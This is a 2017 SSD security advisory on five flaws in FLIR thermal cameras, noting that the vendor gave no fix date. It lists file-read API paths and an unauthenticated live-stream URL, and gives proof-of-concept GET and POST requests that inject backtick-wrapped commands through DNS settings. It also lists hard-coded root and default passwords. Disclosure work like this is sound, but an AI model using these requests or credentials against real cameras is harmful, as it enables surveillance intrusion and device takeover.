SSD Advisory – FLIR Systems Multiple Vulnerabilities
Credit to Author: SSD / Maor Schwartz| Date: Sun, 24 Sep 2017 09:26:54 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
Vulnerabilities Summary
The following advisory describes 5 (five) vulnerabilities found in FLIR Systems FLIR Thermal/Infrared Camera FC-Series S, FC-Series ID, PT-Series.
FLIR – “Best-in-class thermal cameras with on-board analytics for high-performance intrusion detection. The new FC-Series ID combines best-in-class thermal image detail and high-performance edge perimeter analytics together in a single device that delivers optimal intrusion detection in challenging environments and extreme conditions”.
The vulnerabilities found are:
- Information disclosure
- Stream disclosure
- Unauthenticated Remote Code Execution
- Authenticated Remote Code Execution
- Hard-coded Credentials
Credit
An independent security researcher, Gjoko Krstic – Zero Science Lab, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
The vendor has been notified on the 27th of June 2017, several emails were exchanged, but no ETA for a fix or workaround have been provided for the following vulnerabilities.
Vulnerabilities details
Information Disclosure (1)
The FLIR web-server webroot/js/fns.login.js provides API functionality. By using the following API calls an attacker can download and read files from the FLIR OS:
- /api/xml?file=PATH-TO-FILE
- /api/file/download/PATH-TO-FILE
- /api/file/content/PATH-TO-FILE
- /api/server/videosnap?file=PATH-TO-FILE
- /page/maintenance/view/server-lan
- /api/file/ini/read
- /api/system/config/product
Proof of Concept
Stream Disclosure
FLIR web-server does not validate if the user is authenticated when asked to show the live feed.
Proof of Concept
An attacker can get the live stream by sending sending the the following request:
1 2 | http://IP:8081/graphics/livevideo/stream/stream3.jpg http://IP/graphics/livevideo/stream/stream1.jpg |
Unauthenticated Remote Code Execution
User controlled input is not sufficiently sanitized and can be exploit by an attacker to execute command on the machine.
By sending GET request to /maintenance/controllerFlirSystem.php an attacker can trigger the vulnerability.
Proof of Concept
1 | GET /maintenance/controllerFlirSystem.php?dns%5Bdhcp%5D=%60COMMAND–TO–EXECUTE%60&dns%5Bserver1%5D=1.2.3.4&dns%5Bserver2%5D=&_=1491052263282 HTTP/1.1 |
Authenticated Remote Code Execution
User controlled input is not sufficiently sanitized and can be exploit by an attacker to execute command on the machine.
By sending POST request to //page/maintenance/lanSettings/dns an attacker can trigger the vulnerability.
Proof of Concept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | POST /page/maintenance/lanSettings/dns HTTP/1.1 Host: TARGET:8081 Content–Length: 64 Accept: */* Origin: http://TARGET:8081 X–Requested–With: XMLHttpRequest User–Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 Content–Type: application/x–www–form–urlencoded Referer: http://TARGET:8081/maintenance Accept–Language: en–US,en;q=0.8,mk;q=0.6 Cookie: PHPSESSID=d1eabfdb8db4b95f92c12b8402abc03b DNT: 1 Connection: close dns%5Bserver1%5D=8.8.8.8&dns%5Bserver2%5D=8.8.4.4%60COMMAND–TO–EXECUTE%60 |
Hard-coded Credentials
1 2 3 4 5 | root:indigo root:video default:video default:[blank] ftp:video |